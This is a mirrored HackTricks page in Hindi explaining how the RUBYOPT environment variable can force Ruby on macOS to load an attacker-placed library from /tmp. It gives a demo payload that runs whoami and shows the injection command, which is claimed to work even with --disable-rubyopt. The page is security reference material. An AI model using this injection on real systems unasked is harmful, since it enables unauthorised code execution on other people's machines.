mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-16 01:38:20 +00:00
58 lines
4.9 KiB
Markdown
58 lines
4.9 KiB
Markdown
|
# macOS Ruby एप्लिकेशन्स इंजेक्शन
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong> AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||
|
|
||
|
HackTricks का समर्थन करने के अन्य तरीके:
|
||
|
|
||
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||
|
* अपनी हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## RUBYOPT
|
||
|
|
||
|
इस env वेरिएबल का उपयोग करके जब भी **ruby** निष्पादित होती है, उसमें **नए पैरामीटर्स जोड़ना** संभव है। हालांकि पैरामीटर **`-e`** का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स **`-I`** और **`-r`** का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है।
|
||
|
|
||
|
**`/tmp`** में लाइब्रेरी **`inject.rb`** बनाएं:
|
||
|
|
||
|
{% code title="inject.rb" %}
|
||
|
```ruby
|
||
|
puts `whoami`
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
कहीं भी एक रूबी स्क्रिप्ट बनाएं जैसे:
|
||
|
|
||
|
{% code title="hello.rb" %}
|
||
|
```ruby
|
||
|
puts 'Hello, World!'
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
फिर एक मनमानी रूबी स्क्रिप्ट को इसके साथ लोड करें:
|
||
|
```bash
|
||
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||
|
```
|
||
|
मजेदार तथ्य, यह **`--disable-rubyopt`** पैरामीटर के साथ भी काम करता है:
|
||
|
```bash
|
||
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||
|
|
||
|
HackTricks का समर्थन करने के अन्य तरीके:
|
||
|
|
||
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||
|
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||
|
|
||
|
</details>
|